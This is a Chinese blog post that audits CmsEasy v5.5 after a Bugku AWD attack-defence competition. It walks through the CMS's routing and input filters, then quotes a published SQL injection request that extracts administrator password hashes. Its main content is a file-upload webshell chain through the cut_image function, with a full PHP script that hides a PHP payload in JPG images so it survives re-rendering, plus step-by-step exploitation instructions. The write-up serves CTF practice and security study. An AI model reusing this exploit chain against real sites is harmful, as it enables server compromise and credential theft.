easycms v5.5 分析 | Bugku S3 AWD排位赛

已于 2023-11-21 18:26:00 修改
阅读量1k 收藏 2
点赞数 3
文章标签： cms 代码审计
于 2023-09-15 22:25:22 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_56313338/article/details/132817016
版权

前言

这个awd打的悲，后台默认用户名密码为admin:admin，但是几乎所有人都改了

而且一进去看到这个cms就有点懵逼，都不知道这个cms是干嘛的（没用过相似的cms）

虽然网上找出了很多相关的漏洞，但是不知道为什么一个都没用上，或者说是用不了

所以现在来审计一下这个cms

根据里面的注释我得出是 v5.5 的版本（虽然不知道有没有经过bugku的魔改）
在这里插入图片描述
不过上面说的版权倒是给我整不会了，有没有专业人士说说我这个研究算不算破解，反正网上挺多的
而且bugku也对其进行过修改（awd的时候index.php加了个后门）

路由分析

我进入后台admin的时候会自动跳转到 index.php?case=admin&act=login&admin_dir=admin&site=default
据我的经验，这里用的是参数作为路由

case=admin		# 指定类
act=login		# 指定类方法
admin_dir=admin
site=default

一切都是由 lib\tool\front_class.php 中的 front 作为引导
index.php
在这里插入图片描述

进入该类，找到dispatch函数
在这里插入图片描述
method_exists 是 PHP 中的一个内置函数，用于检查一个类是否包含某个指定的方法（成员函数）。

也就是说 $case 指定类， $method 指定该类的方法

在这里插入图片描述

case: admin_act
method: login_action

而这两个值都由请求参数 case 和 act 决定
但是这个类的路径在何处呢，我们继续追踪

在 method_exists 的上面，case已经被new过了，当new的时候找不到类时，就触发了 __autoload 方法
在这里插入图片描述
在这里插入图片描述
最后类的路径是 lib/admin/admin_act.php
为什么会找到这个地方的类，
在这里插入图片描述
set_include_path 可以设置文件包含时的路径，这里设置了 /lib/admin ，而该方法在 front 的初始化函数就被执行过了

被设置的路径在index.php 中也被设置过
在这里插入图片描述

set_include_path(ROOT.'/lib/default'.PATH_SEPARATOR.ROOT.'/lib/plugins'.PATH_SEPARATOR.ROOT.'/lib/tool'.PATH_SEPARATOR.ROOT.'/lib/table'.PATH_SEPARATOR.ROOT.'/lib/inc');

也就是参数路由的执行函数都在 lib 文件夹中找

后台登录分析

既然知道了路由规则，那么现在看看是否能通过注入到达后端

首先通过审计代码我们知道一共有三处过滤，第一个是new front的时候 __construct中的过滤

index.php
在这里插入图片描述

lib\tool\front_class.php
在这里插入图片描述
这里直接对所有GET参数的username过滤了单双引号导致最后的sql语句无法被闭合，现在我还是没想到怎么绕过这里，

第二个也是 front中 __construct中的过滤
在这里插入图片描述
这里先判断php是否会自动转义引号，这里我有必要解释一下

get_magic_quotes_gpc 是一个 PHP 函数，它在旧版本的 PHP（PHP 5.4 之前）中可用。它用于检查 PHP 配置中是否启用了"魔术引号"（Magic Quotes）功能。魔术引号是 PHP 中引入的一个功能，用于自动转义传入数据中的字符（例如，来自表单提交或外部来源的数据），以帮助防止 SQL 注入和其他安全漏洞。

如果启用了魔术引号（get_magic_quotes_gpc() 返回 1 或 true），PHP 会自动在 $_GET、$_POST、$_COOKIE 和 $_REQUEST 数组中的传入数据添加转义斜杠（\）。这种转义是为了使数据在 SQL 查询中使用时更安全。

如果禁用了魔术引号（get_magic_quotes_gpc() 返回 0 或 false），PHP 不会自动添加转义斜杠

然而，魔术引号存在许多问题，本函数已自 PHP 7.4.0 起弃用，自 PHP 8.0.0 起移除

回到正题，从上面的代码看出，上面的代码对所有请求的参数都进行了引号转义导致注入困难

第三处过滤
在该路由中获取数据处,根据前面的规则，找到该路由
lib\admin\admin_act.php
在这里插入图片描述

$user=$user->getrow(array('username'=>front::post('username'),'password'=>md5(front::post('password'))));

这里传递的是一个有键值的字典

一直跟进
lib\inc\table.php
在这里插入图片描述
key进行了html实体的转义
对key和value都进行了关键字过滤

从这三处过滤，我觉得sql注入我还是没啥头绪，急需指点

celive sql注入

我在一篇文章中找到了sql注入的点
https://vulners.com/seebug/SSV:94004

但是我在里面并没有注入成功，所以我研究起了代码

文章给出的exp是这样的

链接：
http://localhost/CmsEasy_5.5_UTF-8_20140718/celive/live/header.php
POST：
xajax=LiveMessage&xajaxargs[0][name]=1',(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(select concat(username,0x23,password) from cmseasy_user where groupid=2 limit 1))a from information_schema.tables group by a)b),'','','','1','127.0.0.1','2')#

文章说没有过滤，但是我在调试时发现引号被 addslashes 过滤
体现在 celive\include\common.inc.php 中
在这里插入图片描述
文章第一个漏洞处体现在 celive\include\xajax.inc.php
在这里插入图片描述

文件上传漏洞

分析

这是在一篇文章看到的
https://www.cnblogs.com/yx20145312/p/7020516.html

起初按照他的做法，确实可以上传文件，而且后缀也是php
但是…
最终也是执行失败了，而且根本找不到图片中我设定的 "马"

最后通过我仔细的源码审计我发现…
在这里插入图片描述
这里作者将分割符 & 都打成两个不一样的字符，复制上去能用才有鬼

而且参数是根据自己的远程图片的信息来定的，而就是说这些参数都是变量，都是根据图片自身来设定，不能完全照抄

所以我们重新来审计一下全过程

漏洞点在 index.php?case=tool&act=cut_image

而根据路由规则， 这个文件在 tool_act.php 中tool_act 类的 cut_image_action 方法

此漏洞利用需要布置一个ftp服务器，并且需要可以匿名登录，在匿名用户的目录放置一个图片马
在window搭建你可以参考这篇文章 https://www.cnblogs.com/yx20145312/p/7020516.html
也可以在网上寻找答案

先说一个这个api是干嘛的，这样才能更好理解漏洞的成因

通过代码的分析，发现其是一个裁剪图片的功能, 至于作者设计时是不是开放远程还是只针对本地图片我们就不得而知了

POST : index.php?case=tool&act=cut_image

pic=test.png
w=2		# 输出图像的宽
h=2		# 输出图像的高
x1=0	# 输入图像的 x 轴
y1=0	 # 输入图像的 y 轴
x2=700	# 输入图像的另一个 x 轴
y2=1120	# 输入图像的另一个 y 轴

简单来说, x1,y1,x2,y2 决定了源图像的大小和位置,而 pic 是我们输入的图片
这里给出一次请求
在这里插入图片描述

源图片是这样的
在这里插入图片描述

而裁剪后是这样的
在这里插入图片描述

也就是说

w=100
h=100
x1=0
y1=0
x2=300
y2=300

在这里插入图片描述
将一个300 * 300 的图像（x1,y2，x2,y3指定）,放入了100 * 100 的盒子里(w,h指定)，结果就是等比例缩小了

那么现在看源码

在这里插入图片描述
如果base_url设置空（默认设置为空）,那么len变量值就为 1
下面会判断 pic 参数是否为http，如果不是，就去掉开头为len长度的变量
比如 len如果为3 pic=123ftp://127.0.0.1 最后就会变成 pic=ftp://127.0.0.1

此时我们的len为1那么只需要在前面填上一个垃圾数据即可
pic=1ftp://127.0.0.1

在这里插入图片描述

$thumb->set(front::$post['thumb'],'jpg');

这里获取文件的一些信息

        $img=$thumb->create_image(
            $thumb->im,
            $_POST['w'],
            $_POST['h'],
            0,
            0,
            $_POST['x1'],
            $_POST['y1'],
            $_POST['x2'] -$_POST['x1'],
            $_POST['y2'] -$_POST['y1']
        );

这里对图像继续裁剪返回一个裁剪后的图像
这里最终调用的函数其实是这个，你跟进也是能看到的，我的是排版了的
在这里插入图片描述

file_put_contents(ROOT.'/'.$save_file,ob_get_contents());

这里对输出裁剪后的图像进行保存

困惑

原本我以为到这已经结束了，没想到真正的后头戏现在才开始
我发现上传上去的图片马都被二次渲染了，原本的一句话早已经不见了踪影
原本的想法是先上传一张，然后对比裁剪后的看哪里相同，结果发现，根本没用…

直觉告诉我，问题就出在 ImageCopyResampled函数上
于是上网找到了方法
突破php 的imagecopyresampled 和imagecopyresized 实现图片马 JPG

但是…
在这里插入图片描述
这个脚本告诉我，他失败了
于是， 我再次遨游于网络的海洋
功夫不负有心人！上文章
CmsEasy前台无限制GetShell【Getshell的补充说明】

在这里插入图片描述
博客上说，传递图片的时候不能带路径，也就是说必须于脚本同一个目录才能生效

这里说下如何使用脚本
脚本

<?php
        /*
        The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations
        caused by PHP functions imagecopyresized() and imagecopyresampled().
        It is necessary that the size and quality of the initial image are the same as those of the processed
        image.
        1) Upload an arbitrary image via secured files upload script
        2) Save the processed image and launch:
        php jpg_payload.php <jpg_name.jpg>
        In case of successful injection you will get a specially crafted image, which should be uploaded again.
        Since the most straightforward injection method is used, the following problems can occur:
        1) After the second processing the injected data may become partially corrupted.
        2) The jpg_payload.php script outputs "Something's wrong".
        If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another
        initial image.
        Sergey Bobrov @Black2Fan.
        See also:
        https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
        */
 
        $miniPayload = '<?php phpinfo();?>';   # 这里写入一句话
 
        if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
        die('php-gd is not installed');
        }
      print_r($argv);
        // exit;
        if(!isset($argv[1])) {
                die('php jpg_payload.php <jpg_name.jpg>');
        }
 
        set_error_handler("custom_error_handler");
 
        for($pad = 0; $pad < 1024; $pad++) {
                $nullbytePayloadSize = $pad;
                $dis = new DataInputStream($argv[1]);
                $outStream = file_get_contents($argv[1]);
                $extraBytes = 0;
                $correctImage = TRUE;
 
                if($dis->readShort() != 0xFFD8) {
                        die('Incorrect SOI marker');
                }
 
                while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
                        $marker = $dis->readByte();
                        $size = $dis->readShort() - 2;
                        $dis->skip($size);
                        if($marker === 0xDA) {
                                $startPos = $dis->seek();
                                $outStreamTmp =
                                        substr($outStream, 0, $startPos) .
                                        $miniPayload .
                                        str_repeat("\0",$nullbytePayloadSize) .
                                        substr($outStream, $startPos);
                                checkImage('_'.$argv[1], $outStreamTmp, TRUE);
                                if($extraBytes !== 0) {
                                        while((!$dis->eof())) {
                                                if($dis->readByte() === 0xFF) {
                                                        if($dis->readByte !== 0x00) {
                                                                break;
                                                        }
                                                }
                                        }
                                        $stopPos = $dis->seek() - 2;
                                        $imageStreamSize = $stopPos - $startPos;
                                        $outStream =
                                                substr($outStream, 0, $startPos) .
                                                $miniPayload .
                                                substr(
                                                        str_repeat("\0",$nullbytePayloadSize).
                                                                substr($outStream, $startPos, $imageStreamSize),
                                                        0,
                                                        $nullbytePayloadSize+$imageStreamSize-$extraBytes) .
                                                                substr($outStream, $stopPos);
                                } elseif($correctImage) {
                                        $outStream = $outStreamTmp;
                                } else {
                                        break;
                                }
                                if(checkImage('payload_'.$argv[1], $outStream)) {
                                        die('Success!');
                                } else {
                                        break;
                                }
                        }
                }
        }
        unlink('payload_'.$argv[1]);
        die('Something\'s wrong');
 
        function checkImage($filename, $data, $unlink = FALSE) {
                global $correctImage;
                file_put_contents($filename, $data);
                $correctImage = TRUE;
                imagecreatefromjpeg($filename);
                if($unlink)
                        unlink($filename);
                return $correctImage;
        }
 
        function custom_error_handler($errno, $errstr, $errfile, $errline) {
                global $extraBytes, $correctImage;
                $correctImage = FALSE;
                if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
                        if(isset($m[1])) {
                                $extraBytes = (int)$m[1];
                        }
                }
        }
 
        class DataInputStream {
                private $binData;
                private $order;
                private $size;
 
                public function __construct($filename, $order = false, $fromString = false) {
                        $this->binData = '';
                        $this->order = $order;
                        if(!$fromString) {
                                if(!file_exists($filename) || !is_file($filename))
                                        die('File not exists ['.$filename.']');
                                $this->binData = file_get_contents($filename);
                        } else {
                                $this->binData = $filename;
                        }
                        $this->size = strlen($this->binData);
                }
 
                public function seek() {
                        return ($this->size - strlen($this->binData));
                }
 
                public function skip($skip) {
                        $this->binData = substr($this->binData, $skip);
                }
 
                public function readByte() {
                        if($this->eof()) {
                                die('End Of File');
                        }
                        $byte = substr($this->binData, 0, 1);
                        $this->binData = substr($this->binData, 1);
                        return ord($byte);
                }
 
                public function readShort() {
                        if(strlen($this->binData) < 2) {
                                die('End Of File');
                        }
                        $short = substr($this->binData, 0, 2);
                        $this->binData = substr($this->binData, 2);
                        if($this->order) {
                                $short = (ord($short[1]) << 8) + ord($short[0]);
                        } else {
                                $short = (ord($short[0]) << 8) + ord($short[1]);
                        }
                        return $short;
                }
 
                public function eof() {
                        return !$this->binData||(strlen($this->binData) === 0);
                }
        }
?>

需要先上传图片 (需要jpg图片，这里我改了后缀，其实改不改都可以，最后要给脚本传递jpg的图片)
在这里插入图片描述
然后把上传上去的图片下载下来作为脚本的参数

然后将图片放在与脚本同一目录下

php payload.php 1694764156416.jpg

然后会在目录下生成一张图片马
在把这个图片马上传上去 （我的其他参数没动）

在这里插入图片描述
访问下图片马
在这里插入图片描述
别的不说，NB

exp

这里总结一下大概步骤
先准备一张 jpg 类型的图片，然后上传到cmseasy，然后下载下来那张上传后的图片（此时这张图片不是原来那张了，而是经过了二次渲染）
将图片给脚本执行（需要与脚本同一目录），payload执行的语句可以在脚本中修改
将脚本生成的图片再上传上去，访问执行

bug小空
关注
  • 3
    点赞
  • 踩
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
BugKu 2021 CTF AWD 排位赛 真题 S2 AWD排位赛-7.zip
12-07
【标题】"BugKu 2021 CTF AWD 排位赛 真题 S2 AWD排位赛-7.zip" 指的是2021年BugKu网络安全平台举办的AWD（Attack-Defend，攻防）CTF（Capture The Flag，夺旗）排位赛的实战题目，其中的"7"可能代表该赛事的第七个...
Bugku S3 AWD排位赛-9 pwn二进制
08-27
Bugku S3 AWD排位赛-9 pwn二进制
CTF——AWD模式小总结
jennycisp的博客
08-30 2141
sshipXshellXftp2. 进入之后我们直接点击，xftp按钮（目的： 需要连接xftp下载文件）连接成功后如下进入/var/www将html文件下载下来 (目的是扫描是否存在后门，还有代码审计等)wafwatchbird攻击xshell4. 运行waf 之后，打开我们的web 页面，在任意一个php 页面后面输入，就会进入到waf 配置页面然后设置密码（这边我没截图我直接在本地搭建一个截图凑合看）配置好了之后就会进入到内部然后这里查看日志。
Bugku-AWD专版用于AWD比赛中的自动化攻击框架源码+项目说明.zip
最新发布
01-14
【资源说明】 1、该资源包括项目的全部源码，下载可以直接使用！ 2、本项目适合作为计算机、数学、电子信息等专业的竞赛项目学习资料，作为参考学习借鉴。 3、本资源作为“参考资料”如果需要实现其他功能，需要能看懂代码，并且热爱钻研，自行调试。 Bugku-AWD专版用于AWD比赛中的自动化攻击框架源码+项目说明.zip
Bugku S3 AWD排位赛-1 pwn
z1r0的博客
07-31 1136
利用格式化漏洞改a64l为system，v4传入/bin/sh即可getshell。因为s只能32，所以偏移可以采用gdb调试出来。
Bugku S3 AWD排位赛-3（带你入门awd流程）
Welcome To Myon'Blog !
09-03 3133
1、注意事项 2、xshell连接与html目录下载 3、D盾与河马的使用（文件扫描） 4、Seay的使用（代码审计） 5、爆破对手的IP地址 6、其他 （1）mysql远程访问漏洞 （2）Redis未授权访问漏洞 （3）pwn漏洞
AWD 线下攻防 指南 避坑
YX-hueimie
11-13 623
最近参加了省赛的线下AWD，遇到了一些坑，这里总结一下分享给没有打过AWD，即将要打AWD的师傅们。
BUGKU-CTF入门笔记
Emooooor的博客
12-05 621
CTF、BUGKU、入门、夺旗赛、网络安全、web安全
BugKu 2021 CTF AWD 排位赛 真题 S2 AWD排位赛-8.zip
12-07
BugKu 2021 CTF AWD 排位赛 真题
S2 AWD排位赛-6.zip
12-07
【S2 AWD排位赛-6.zip】这个压缩包文件是BugKu在2021年举办的一场Capture The Flag（CTF） Automated Web Defense（AWD）排位赛的真实比赛题目集合。CTF是一种信息安全竞赛，参赛者通过解决各种安全问题来得分，而...
S2 AWD排位赛-14.zip
12-07
BugKu 2021 CTF AWD 排位赛 真题
[Bugku-AWD专版]一款用于AWD比赛中的自动化攻击框架.zip
09-30
比赛项目代码
S2 AWD排位赛-9.zip
12-07
【S2 AWD排位赛-9.zip】这个压缩包文件是BugKu在2021年举办的一场CTF（Capture The Flag）攻防战排位赛的真实题目集合。CTF是一种网络安全竞赛，参赛者通过解密、逆向工程、漏洞挖掘等技术手段获取“旗标”（Flag）...
awd攻防训练赛1
soldi_er的博客
05-28 2923
文章目录前言1.服务器运维2.攻击环节探测其他队伍主机攻击总结反思 前言   学校战队的几个人简单尝试了一下bugku的线上awd攻防赛，做个记录。 1.服务器运维   下载Web源码：xftp连接192-168-1-247.pvp254.bugku.cn/，在/var/www/html目录下有网站源代码.zip，下载。   连接服务器主机：ssh连接服务器，以team2身份在根目录下寻找主机上的flag文件。 find / -name "*flag*" 2.攻击环节 探测其他队伍主机   编写Pyt
BugKu -- AWD --S1排位赛-4
jiuyongpinyin的博客
04-11 492
BugKu -- AWD --S1排位赛-4
BugKu -- AWD --S1排位赛-3
jiuyongpinyin的博客
04-11 505
BugKu--AWD--S1排位赛-3。
如何审计一个冷门的cms？
YJ_12340的博客
11-23 315
刚开始代码审计多多少少会有种无从下手的感觉，想要通过自己的代码审计能力直接审计出漏洞未免有些困难。但是如果直接拿到一个cms开始审，刚开始可能富有激情，可是越审到后面就会越怀疑自己，然后放弃代码审计。造成这样的现象的原因便是：不知道自己到底能不能审到漏洞。那如何审出一个很少人知道，并且肯定存在的洞呢？本文介绍的办法就是：上cnvd看看以前师傅提交的洞，虽然大多数的洞都是不公开的，但是我们还是可以根据cnvd给的一点点信息来尝试复现。
“快看”cms v1.32代码审计
include_voidmain的博客
07-04 1216
CMS代码审计
记一次bugku awd的pwn解
z1r0的博客
03-27 2128
今天闲得没事，随便逛逛的时候看到了bugku awd有战队开了房间，想着没什么事就报名玩了玩，不过pwn题还是很有意思的。 连上去发现是个堆题。。。再一看加固时间20分钟。。。。（瞬间无语住 直接在网上找题，结果发现网上都是2.23下的，这里笔者拿到的是2.27下的（再次瞬间无语住 没办法只好自己写exp了。拿到pwn附件就是一顿瞎分析，结果发现了upadte有堆溢出 再随便翻了翻发现还有一个uaf。 只不过没有show函数而已。 再看了一下保护 脑子里瞬间想好了攻击思路，申请到malloc_hoo
bugku s3 awd排位赛-11
12-08
bugku s3 awd排位赛-11是指《步步高升》第三季的AWD排位赛第11场比赛。在这场比赛中，选手们将使用AWD（全驱）车辆进行排位赛，争夺最佳的出发位置。 在这场比赛中，选手们需要在赛道上展现出极致的驾驶技术和车辆控制能力，以期在排位赛中获得最理想的出发位置。全驱车辆对于赛道上的表现有着独特的优势和挑战，选手们需要充分发挥车辆的性能，并在赛道上找到最佳的线路和节奏。 同时，排位赛的结果也将直接影响到选手在正赛中的起跑位置和竞争优势，因此这场比赛对于选手而言具有着极为重要的意义。 在bugku s3 awd排位赛-11中，选手们将展开一场激烈的角逐，希望能够通过自己的努力和技术优势，取得最好的排位成绩，并在正赛中取得更好的成绩。这场比赛将是一场精彩的比赛，也是选手们展现实力和技术的舞台，期待他们能够有出色的表现。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值